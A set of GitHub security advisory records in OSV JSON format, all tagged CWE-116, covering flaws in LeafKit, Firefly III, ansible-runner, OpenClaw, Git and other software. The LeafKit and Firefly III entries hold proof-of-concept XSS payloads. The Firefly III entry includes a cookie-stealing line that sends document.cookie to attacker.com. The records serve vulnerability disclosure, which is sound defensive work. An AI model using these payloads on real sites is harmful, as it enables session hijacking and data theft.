CWE-116

{
  "affected": [],
  "aliases": [
    "CVE-2022-25987"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-16T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Improper handling of Unicode encoding in source code to be compiled by the Intel(R) C++ Compiler Classic before version 2021.6 for Intel(R) oneAPI Toolkits before version 2022.2 may allow an unauthenticated user to potentially enable escalation of privilege via network access.",
  "id": "GHSA-6cch-f4wh-7hxc",
  "modified": "2023-02-28T21:30:18Z",
  "published": "2023-02-16T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25987"
    },
    {
      "type": "WEB",
      "url": "http://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00674.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "uu_comm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-176"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T19:51:22Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "The comm utility in uutils coreutils silently corrupts data by performing lossy UTF-8 conversion on all output lines. The implementation uses String::from_utf8_lossy(), which replaces invalid UTF-8 byte sequences with the Unicode replacement character (U+FFFD). This behavior differs from GNU comm, which processes raw bytes and preserves the original input. This results in corrupted output when the utility is used to compare binary files or files using non-UTF-8 legacy encodings.\n\n---\n_Zellic finding 3.34. Reported in the Zellic *uutils coreutils Program Security Assessment* (for Canonical, Jan 2026), audited commit `3a07ffc5a9bd4c283e75afa548ba1f1957bad242`._",
  "id": "GHSA-6gcw-w7cp-94g9",
  "modified": "2026-07-06T19:51:22Z",
  "published": "2026-07-06T19:51:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/security/advisories/GHSA-6gcw-w7cp-94g9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35346"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/issues/10192"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/pull/10206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/commit/b9372e509ea9b278fe13763237067a261bb8c946"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uutils/coreutils"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/releases/tag/0.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "comm: lossy UTF-8 conversion silently corrupts non-UTF-8 output"
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-0857"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-04-09T21:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A spoofing vulnerability that could allow a security feature bypass exists in when Azure DevOps Server does not properly sanitize user provided input, aka \u0027Azure DevOps Server Spoofing Vulnerability\u0027.",
  "id": "GHSA-6hjh-rrqc-j242",
  "modified": "2022-05-13T01:21:41Z",
  "published": "2022-05-13T01:21:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0857"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0857"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/107760"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ansible-runner"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-4041"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-01T22:22:11Z",
    "nvd_published_at": "2022-08-24T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in ansible-runner. An improper escaping of the shell command, while calling the `ansible_runner.interface.run_command`, can lead to parameters getting executed as host\u0027s shell command. A developer could unintentionally write code that gets executed in the host rather than the virtual environment.",
  "id": "GHSA-6j58-grhv-2769",
  "modified": "2024-09-03T21:16:19Z",
  "published": "2022-08-25T00:00:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4041"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ansible/ansible-runner/commit/3533f265f4349a3f2a0283158cd01b59a6bbc7bd"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2021-4041"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2028074"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6j58-grhv-2769"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ansible/ansible-runner"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/ansible-runner/PYSEC-2022-253.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ansible-runner vulnerable to shell command injection"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-34820"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-12T10:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability has been identified in SIMATIC CP 1242-7 V2 (All versions), SIMATIC CP 1243-1 (All versions), SIMATIC CP 1243-7 LTE EU (All versions), SIMATIC CP 1243-7 LTE US (All versions), SIMATIC CP 1243-8 IRC (All versions), SIMATIC CP 1542SP-1 IRC (All versions \u003e= V2.0), SIMATIC CP 1543-1 (All versions \u003c V3.0.22), SIMATIC CP 1543SP-1 (All versions \u003e= V2.0), SIPLUS ET 200SP CP 1542SP-1 IRC TX RAIL (All versions \u003e= V2.0), SIPLUS ET 200SP CP 1543SP-1 ISEC (All versions \u003e= V2.0), SIPLUS ET 200SP CP 1543SP-1 ISEC TX RAIL (All versions \u003e= V2.0), SIPLUS NET CP 1242-7 V2 (All versions), SIPLUS NET CP 1543-1 (All versions \u003c V3.0.22), SIPLUS S7-1200 CP 1243-1 (All versions), SIPLUS S7-1200 CP 1243-1 RAIL (All versions). The application does not correctly escape some user provided fields during the authentication process. This could allow an attacker to inject custom commands and execute arbitrary code with elevated privileges.",
  "id": "GHSA-6j7x-87cm-p532",
  "modified": "2022-07-16T00:00:21Z",
  "published": "2022-07-13T00:01:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34820"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-517377.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/vapor/leaf-kit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28499"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79",
      "CWE-80"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:22:56Z",
    "nvd_published_at": "2026-03-18T02:16:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nLeafKit HTML-escaping is not working correctly when a template prints a collection (Array / Dictionary) via `#(value)`. This can result in XSS, allowing potentially untrusted input to be rendered unescaped.\n\n### Details\nLeafKit attempts to escape expressions during serialization, but due to [`LeafData.htmlEscaped()`](https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L322)\u0027s implementation, when the escaped type\u0027s conversion to `String` is marked as `.ambiguous` (as it is the case for Arrays and Dictionaries), an unescaped `self` is returned.\n\n\u003e **Note: I recommend first looking at the POC, before taking a look at the details below, as it is simple.** In the detailed, verbose analysis below, I explored the functions involved in more detail, in hopes that it will help you understand and locate this issue.\n\n#### The issue\u0027s detailed analysis:\n1. Leaf expression serialization eventually reaches `LeafSerializer`\u0027s `serialize` private function below.  This is where the `leafData` is `.htmlEscaped()`, and then serialized.\n\nhttps://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafSerialize/LeafSerializer.swift#L60-L66\n\n2. The `LeafData.htmlEscaped()` method uses the `LeafData.string` computed property to convert itself to a string. Then, it calls the `htmlEscaped()` method on it. However, if the string conversion fails, notice that an unescaped, unsafe `self` is returned (line 324 below):\n\nhttps://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L321-L328\n\n\n3. Regarding why `.string` may return nil, if the escaped value is not a string already, a convesion is attempted, which may fail.\n\nhttps://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L211-L216\n\nIn this specific case, the conversion fails at line 303 below, when `conversion.is \u003e= level` is checked. The check fails because [`.array` and `.dictionary` conversions to `.string` are deemed `.ambiguous`](https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L525-L535). If we forcefully allow ambiguous conversions, the vulnerability disappears, as the conversion is successful.\n\nhttps://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L295-L319\n\n5. Coming back to `LeafSerializer`\u0027s `serialize` private method, we are now interested in finding out what happens after `LeafData.htmlEscaped()` returns self. Recall from `1.` that the output was then `.serialized()`. Thus, the unescaped `LeafData` follows the normal serialization path, as if it were HTML-escaped. More specifically, serialization is done [here](https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafDataStorage.swift#L52-L63), where `.map` / `.mapValues` is called, unsafely serializing each element of the dictionary.\n\n### PoC\n\u003c!-- _Complete instructions, including specific configuration details, to reproduce the vulnerability._ --\u003e\n\nIn a new Vapor project created with `vapor new poc -n --leaf`, use a simple leaf template like the following:\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\n    \u003cbody\u003e\n    \u003ch1\u003e#(username)\u003c/h1\u003e\n      \u003ch2\u003esomeDict:\u003c/h2\u003e\n      \u003cp\u003e#(someDict)\u003c/p\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAnd the following `routes.swift`:\n```swift\nimport Vapor\n\nstruct User: Encodable {\n    var username: String\n    var someDict: [String: String]\n}\n\nfunc routes(_ app: Application) throws {\n    app.get { req async throws in\n        try await req.view.render(\"index\", User(\n            username: \"Escaped XSS - \u003cimg src=x onerror=alert(1)\u003e\",\n            someDict: [\"\u003cimg src=x onerror=alert(1337)\u003e\":\"\u003cimg src=x onerror=alert(31337)\u003e\"]\n        ))\n    }\n}\n\n```\n\nBy running and accessing the server in a browser, XSS should be triggered twice (with `alert(1337)` and `alert(31337)`). `var someDict: [String: String]` could also be replaced with an array / dictionary of a different type, such as another `Encodable` stuct.\n\nAlso note that, in a real concerning scenario, the array / dictionary would contain (i.e. reflect) data inputted by the user.\n\n### Impact\nThis is a cross-site scripting (XSS) vulnerability in rendered Leaf templates. Vapor/Leaf applications that render user-controlled data inside arrays or dictionaries using `#(value)` may be impacted.",
  "id": "GHSA-6jj5-j4j8-8473",
  "modified": "2026-05-07T13:24:10Z",
  "published": "2026-03-16T16:22:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vapor/leaf-kit/security/advisories/GHSA-6jj5-j4j8-8473"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28499"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vapor/leaf-kit/commit/6044b844caa858a0c5f2505ac166f5a057c990dc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vapor/leaf-kit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vapor/leaf-kit/releases/tag/1.14.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LeafKit\u0027s HTML escaping may be skipped for Collection values, enabling XSS"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.6.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "grumpydictator/firefly-iii"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T15:04:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Twig template `resources/views/list/ale.twig` renders the piggy bank name from `AuditLogEntry.after.piggy` using the `|raw` filter, bypassing Twig\u0027s auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction\u0027s audit log.\n\n## Root Cause\n\nThe `|raw` filter is required on the outer `trans()` call to preserve `\u003cspan\u003e` tags in the `amount` parameter (currency styling). However, this also disables escaping for the user-controlled `name` parameter.\n\n**Vulnerable code (`resources/views/list/ale.twig` lines 107, 110):**\n```twig\n{{ trans(\u0027firefly.ale_action_log_add\u0027, {\n    amount: formatAmountBySymbol(...),\n    name: logEntry.after.piggy\n})|raw }}\n```\n\nNo HTML sanitization at storage time \u2014 `PiggyBankStoreRequest` only validates `min:1|max:255|uniquePiggyBankForUser`.\n\n## Data Flow\n\n```\nPOST /api/v1/piggy-banks {\"name\": \"\u003cimg src=x onerror=...\u003e\"}\n  \u2192 Stored verbatim in piggy_banks.name\n  \u2192 Transaction rule fires add_to_piggy / remove_from_piggy\n  \u2192 UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name\n  \u2192 Any user views /transactions/show/{id}\n  \u2192 ale.twig outputs unescaped payload \u2192 XSS fires\n```\n\n## CSP Note\n\nThe nonce-based CSP (`script-src \u0027nonce-...\u0027 \u0027strict-dynamic\u0027`) does **not** prevent this attack. Inline event handlers (`onerror`, `onload`) in HTML attributes are governed by `script-src-attr`, which is unrestricted in the current policy. The `\u003cimg onerror=...\u003e` payload bypasses the nonce requirement entirely.\n\n## PoC\n\n1. Authenticate as any user\n2. `POST /api/v1/piggy-banks` with `\"name\": \"\u003cimg src=x onerror=fetch(\u0027https://attacker.com?c=\u0027+document.cookie)\u003e\"`\n3. Create a rule: action = \"Add money to piggy bank [attacker\u0027s piggy bank]\"\n4. Trigger the rule on any transaction\n5. Visit `/transactions/show/{id}` \u2192 payload fires\n\n**Confirmed server response (v6.6.2):**\n```html\nAdded \u003cspan class=\"text-success money-positive\"\u003eEUR 50.00\u003c/span\u003e to piggy bank\n\"\u003cimg src=x onerror=alert(document.cookie)\u003e\"\n```\n\n## Impact\n\n- Stored XSS persists in DB \u2014 fires for every user who views the transaction\n- Cookie theft \u2192 session hijacking\n- In multi-user setups: one user attacks another user or admin\n- Chainable with CSRF-like operations\n\n## Fix\n\nPR #12271 (merged into `develop`): add `|e` to escape only the user-controlled `name` parameter.\n\n```twig\n{{ trans(\u0027firefly.ale_action_log_add\u0027, {\n    amount: formatAmountBySymbol(...),\n    name: logEntry.after.piggy|e\n})|raw }}\n```",
  "id": "GHSA-6jq6-x4cx-qvcm",
  "modified": "2026-06-12T15:04:50Z",
  "published": "2026-06-12T15:04:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/firefly-iii/firefly-iii/security/advisories/GHSA-6jq6-x4cx-qvcm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/firefly-iii/firefly-iii/pull/12271"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/firefly-iii/firefly-iii"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32913"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-184",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-09T19:54:20Z",
    "nvd_published_at": "2026-03-23T22:16:30Z",
    "severity": "HIGH"
  },
  "details": "OpenClaw\u0027s `fetchWithSsrFGuard(...)` followed cross-origin redirects while preserving arbitrary caller-supplied headers except for a narrow denylist (`Authorization`, `Proxy-Authorization`, `Cookie`, `Cookie2`). This allowed custom authorization headers such as `X-Api-Key`, `Private-Token`, and similar sensitive headers to be forwarded to a different origin after a redirect.\n\nThe fix switches cross-origin redirect handling from a narrow sensitive-header denylist to a safe-header allowlist, so only benign headers such as content negotiation and cache validators survive an origin change.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.3.2`\n- Patched version: `2026.3.7`\n- Latest published npm version at patch time: `2026.3.2`\n\n## Impact\n\nA remote service that could trigger a redirect across origins could receive custom authorization credentials attached by OpenClaw callers. This can expose API keys, bearer-style custom headers, or private token headers intended only for the original destination.\n\n## Fix Commit(s)\n\n- `46715371b0612a6f9114dffd1466941ac476cef5`\n\n## Verification\n\n- `pnpm check` passed\n- `pnpm test:fast` passed\n- Focused redirect regression tests passed\n- `pnpm exec vitest run --config vitest.gateway.config.ts` still has unrelated current-`main` failures in `src/gateway/server-channels.test.ts` and `src/gateway/server-methods/agents-mutate.test.ts`\n\n## Release Process Note\n\nnpm `2026.3.7` was published on March 8, 2026. This advisory is fixed in the released package.\n\nThanks @Rickidevs for reporting.",
  "id": "GHSA-6mgf-v5j7-45cr",
  "modified": "2026-03-30T13:31:55Z",
  "published": "2026-03-09T19:54:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-6mgf-v5j7-45cr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32913"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/46715371b0612a6f9114dffd1466941ac476cef5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.7"
    },
    {
      "type": "WEB",
      "url": "https://vulncheck.com/advisories/openclaw-mar-custom-authorization-header-leakage-via-cross-origin-redirects"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: fetch-guard forwards custom authorization headers across cross-origin redirects"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-29543"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-02T17:15:12Z",
    "severity": "HIGH"
  },
  "details": "An attacker could have caused memory corruption and a potentially exploitable use-after-free of a pointer in a global object\u0027s debugger vector. This vulnerability affects Firefox for Android \u003c 112, Firefox \u003c 112, and Focus for Android \u003c 112.",
  "id": "GHSA-6r82-wmjx-mx6j",
  "modified": "2024-04-04T04:30:44Z",
  "published": "2023-06-02T18:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29543"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1816158"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2023-13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2014-9938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-20T00:59:00Z",
    "severity": "HIGH"
  },
  "details": "contrib/completion/git-prompt.sh in Git before 1.9.3 does not sanitize branch names in the PS1 variable, allowing a malicious repository to cause code execution.",
  "id": "GHSA-6vhm-rfmv-gf4j",
  "modified": "2022-05-13T01:27:07Z",
  "published": "2022-05-13T01:27:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/git/git/commit/8976500cbbb13270398d3b3e07a17b8cc7bff43f"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2004"
    },
    {
      "type": "WEB",
      "url": "https://github.com/njhartwell/pw3nage"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}